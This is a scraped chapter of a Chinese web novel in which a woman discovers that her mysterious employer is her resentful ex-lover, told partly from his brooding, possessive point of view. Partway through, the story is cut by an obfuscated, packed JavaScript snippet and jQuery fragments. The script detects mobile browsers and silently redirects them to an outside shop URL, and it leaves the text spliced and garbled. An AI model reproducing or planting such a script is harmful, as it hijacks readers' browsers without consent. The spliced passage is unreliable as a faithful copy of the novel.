121.第 121 章

作品:《被迫阴暗的向导她翻车了

    闹钟四点半就响了。


    窗外还漆黑一片,陈尔若顶着困乏的眼皮,扯开腰间的手臂,硬是逼自己从被窝里爬出去。


    掀了被子坐在床边,还是困得不行,她深呼吸,用力拍了拍脸,勉强提起一丝精神。


    陈尔若没来得及起身,身后突然伸出一双手臂圈住她的腰,将她向后拖,一直拖到暖融融的怀里。陈宿也还困着,重新抱住她后,下巴垫上她肩头,声线掺着被吵醒的闷哑:“怎么起这么早。”


    正是二十多岁正气血充足的时候,早上刚起来,哨兵的体温偏高,陈尔若感觉自己好似被个火炉围住了,热气直往外冒。


    其实昨夜睡觉她也有这个感觉。


    陈宿格外喜欢抱着她,头埋在她怀里,手臂紧抱着她的腰,亲密得不留间隙……虽说这个姿势很有依恋的意味,但她怀疑陈宿是为了方便,毕竟昨晚确实没折腾多久,她困了,作为交换,她允许他自己来,只要别吵到她。


    陈宿确实也没打扰她,他的动作很轻,而且那种略带点黏糊的水声和白噪音差不多,更催眠。


    就是中途她迷迷糊糊醒过来,发现睡裙裙摆还堆在胸上。她困得睁不开眼,低头一看,发现陈宿还在……她记不太清了,他可能也不是在吃,只是抱着她,脸埋在里面就睡熟了,闷得呼吸有点重。


    那场面其实有点羞耻,她晕晕乎乎地推了他一下,没推开,还把陈宿弄醒了,他皱眉,调整姿势,重新将她抱进怀里。后面换她的脸贴着他的……确实挺软,就是她有点喘不上气了。


    一晚上,她整个人快融化到陈宿的体温里去。如今突然抽离,她也有点不适应。


    但眼看时间到了,到这种程度,陈尔若也瞒不了什么,她叹了口气,乖乖回答:“去工作。”


    这下陈宿也清醒得差不多了。


    陈宿将她转过来,面对面问她,脸色有些差:“凌晨四点半去工作?你又去做什么?”


    陈尔若坦诚:“我之前接了个任务,老板要求让我过去见他,就现在。如果你不放心,你送我去也行……但我今天肯定得过去。”


    她也学会了,既然之前的事让陈宿怎么都放心不下她,那索性她就把他带上,见个老板而已,让他在外面等着,谈完正好去吃早餐,两全其美。


    ——至少在陈尔若到目的地前,她是如此乐观地想。


    凌晨五点还开门的酒馆,外面泥地上零零散散躺着喝醉的酒鬼,有的蓬头垢面昏睡过去,有的还迷糊着,抓着喝干净的酒瓶一边往嘴里倒一边嗬嗬笑,俨然一副天亮前混乱不堪的场景。


    路灯昏暗,天色微亮。


    陈宿面无表情地扫视了一圈,将车停在路旁。“咔哒”,安全带脱锁的声音回荡在安静的车厢内,陈尔若努力眨了眨干涩的眼,转向他:“放心,就隔了一条街的距离,我尽量快点。”


    陈宿:“你不觉得应该先跟我讲任务的事吗?”


    陈尔若自知理亏,干巴巴笑了两声,一边说着回来再详谈,一边伸手开车门。


    掏出手机确认具体位置后,陈尔若快步走向酒馆门口,凌晨的温度还泛冷气,连带着金属门把手也是凉的。她推开门,只见老板四仰八叉地躺在吧台后的躺椅里呼呼大睡,前台的服务员挂着浓重的黑眼袋,满脸疲像,看见她,困得连话都懒得说。


    陈尔若心生怜悯,朝他点了下头,沿着走廊直奔目的地而去。


    路上,她用余光瞥了两眼聊天界面的消息。


    她这个神秘的老板给她发了一张照片,位置挨着墙角,棕黑的木桌摆了三瓶威士忌,两瓶已经见底,旁边是窗户。后面的消息一如既往的简短。


    【老板】:三分钟


    因为天色还暗着,玻璃窗清晰倒映出他放在桌上的手。那应该是个男人的手,带着皮手套,五指修长,指节分明,黑色的皮质极致贴合,衬得手更漂亮,只是懒懒搭在桌上就自带张力。


    人很容易根据部分细节去幻想更多。


    陈尔若却反之默默祈祷,她希望这老板稍微长得矬一点,不然万一叫陈宿看见了,他又要想她乱想,想她找男人。她毫不怀疑陈宿是那种会在恋爱关系里没安全感,多疑到查她手机的人……


    就这样一路胡思乱想着,陈尔若走过最后一个拐角。


    酒馆空间狭小,吧台贯穿了这间屋子,大部分桌子都被推散了,歪歪扭扭的座椅横亘在路上。除了零星几个醉酒的人趴在桌上呼呼大睡,那个她要见的人,坐在最角落,身形气质格外醒目。


    牛仔帽被放在桌上,男人穿着深灰色的皮衣,足够宽的腰背使得他像个衣架子,将简单利落的衣服穿得别有韵味。他的气质与整个酒馆格格不入,哪怕他右手旁的威士忌已经开瓶,他拿着也没有半分颓废,疏离、冷漠,带着一点点的疲态。


    起太早,陈尔若看着背影都犯困,想起刚才发过来的照片,难道她这老板还是喝了酒来见她的?


    她有点心烦。


    可当她收拾好精神,再定睛一看。


    陈尔若的脚步倏然顿住了。


    她死死盯着男人的背影,某种熟悉感横冲直撞地朝她扑过来,从背影、气质,到那只手。难以置信的想法如同分裂的碎片,在她大脑逐渐清醒的时候,猝不及防地嵌进某个的形象里。


    她机械般低头,又看了眼消息界面。


    【老板】:三分钟


    自从她偷懒把称呼改成老板以后,她似乎已经快遗忘这人原来的昵称是什么——


    H0。


    霍蔺。


    蔺霍。


    陈尔若神思恍惚,几乎站不住脚。


    她第一时间想的不是逃跑,而是那些她曾仗着他们陌不相识,随便发出去的消息。


    如果说,如果说他一直都是蔺霍。


    那她之前,都给她这位“老板”发过什么?


    学按摩。


    【命很好】:老板,这边不加班的


    【命很好】:今天很辛苦,吃完饭还要去按摩,老板晚安^_^


    ……


    哭穷。


    【命很好】:相当缺啊老板


    【命很好】:昨天刚学的按摩,打算先去试试,一个月工资开我两万块呢


    ……


    接客人。


    【命很好】:请相信我的实力老板,不多说了,客人在叫我了,按摩去了


    ……


    还有……


    【命很苦】:抱歉老板,六点还在夜生活


    做什么。


    【命很苦】:□□


    ……


    消息页面弹出新的消息。


    【老板】:时间到了


    于是,陈尔若僵在原地,眼睁睁看着坐在角落的人站起身,然后,转向她的方向。蔺霍应该一夜没睡,眉眼间透出些紧绷的疲色,可当他抬眼,他们的视线在空中交汇的那刻,他定住了。


    就像她刚才目不转睛、难以置信地盯着他那样,蔺霍同样一瞬不瞬凝视着她,而后,他的神情罕见地流露出空白,仿佛是酒精作祟,他有些困惑地看了眼手旁的空酒瓶,又重新转向她。


    渐渐地,哨兵的眼神变了。


    不过几个瞬息,他的眼神变得比昨日更沉郁,更翻涌。最终,他面无表情地望着她。


    空气在凝固。


    陈尔若感觉浑身都烧起来了。


    她立在那儿,良久,扯出一个比哭还难看的笑:“好……好巧。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16969963|173346||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    *


    蔺霍确实一晚没睡。昨天离开那条巷子,他就来了酒馆。他没心思找住的地方,也睡不着。旁边的人一个接一个倒下的时候,他坐在窗边的位置,取下手套,点了第二瓶威士忌。


    他对酒没什么特别的依赖。


    偶尔几次的放纵也是因为同一个人。


    用酒精麻痹精神,自欺欺人地忘却烦心事,他经常在那些不做人事、放纵享乐的军二代里看见。一个个喝得醉醺醺、昏天黑地,喝到最后抱着马桶乱吐一通,还要人拖回车上,他看着恶心。


    但从西部军区回来那几天,蔺霍尝试了。


    但他发现他喝不醉,他也忘不了。十分的记忆他只能忘却最无关紧要的一分,其余九分只会循环在他脑内播放,那些让他无法自持的、感到羞辱的桥段,混合着他遏制不了蓬勃的心跳声,如俗套电视剧的混响,不断充斥在他的大脑,提醒他,明明他本该厌恶这些,他却居然驯服不了自己。


    因为要恨一个人,首先要想到她。


    想到她做出的令人厌弃的事,想到她面对错误惶恐逃避的神情。想到她的怯懦自私,想到她的撒娇卖乖……要一幕幕揪着错处讨伐,就要先将她每个细节都想一遍,想多了,不像恨,反而像思念。


    起初,喝了酒之后他还能控制自己,多想那些会让他冷静的糟心场面,比如她的欺瞒、她的谎话连篇、她的肆意妄为。


    可到了后面,他会想起其他的,想起她抱住他的脖子,红着眼眶,一边抽噎着哭,说她不敢了,一边惶恐地凑上来,试探着吻他的嘴唇,明明看起来那么乖,那么可怜……都是假的,屡教不改才是真。于是爱怜与怒火交织时,变成更一发不可收拾的欲望,恨不得弄坏,又舍不得弄坏,连宽容都成了忍让,一遍遍挑战岌岌可危的耐心与信任。


    到最后,蔺霍漠漠想。


    下次再这样,索性弄坏了算了。


    既然她也不在乎、不相信她会付出代价,那他还有什么必要遵循他恪守的东西。那些没用的克制和忍让,对她毫无用处。


    他这样想着,在跟她见面时又把这一切又抛弃了……他还是做不到那样践踏自己的尊严,在她面前显得非她不可。


    昨天一气之下离开,收到不靠谱的雇员那几条充斥着怨气的消息时,他确实被冷不丁刺了一下,有些荒唐地计较了,将时间提前到了五点。


    但回过神,他才意识到这有多幼稚。


    他居然会因为看见别人说要做-爱就被刺激到,想到她离开的这段时间,也可能随便找其他人……就像之前找他那样。


    他在酒馆坐了一夜,克制地,只喝了两瓶酒。


    他等待着能用其他东西填充自己,比如任务,比如目标。


    结果,他等来的人。


    还是她。


    荒唐到不可思议的现实。


    心底最后一根弦就这样轻而易举地崩断了。


    蔺霍不知道他现在是何种表情,因为她显然已经慌得往后缩。他走到她面前,缓缓低头,重复她昨天给她发的消息:“早起打扰你的夜生活。我打扰你□□了,是吗。”


    有了这样的前提,一切表象都在印证。她带困意的面孔,虚乏的腿,以及看到他之后彻底的仓皇。哪怕证据摆着,她张了张嘴,还苍白地试图辩解:“蔺霍,我不知道是……我当时就是……开玩笑的……真的……我就是起不来、我……”


    作为前任,没有资格关心对方的感情状况。


    蔺霍以为他可以做到,在保持自尊的前提下,全然漠视她的感情生活。事实是,他失败了。


    有那么一瞬间,他真的想按照他想的那样。


    随便地,弄坏了算了。她应该的。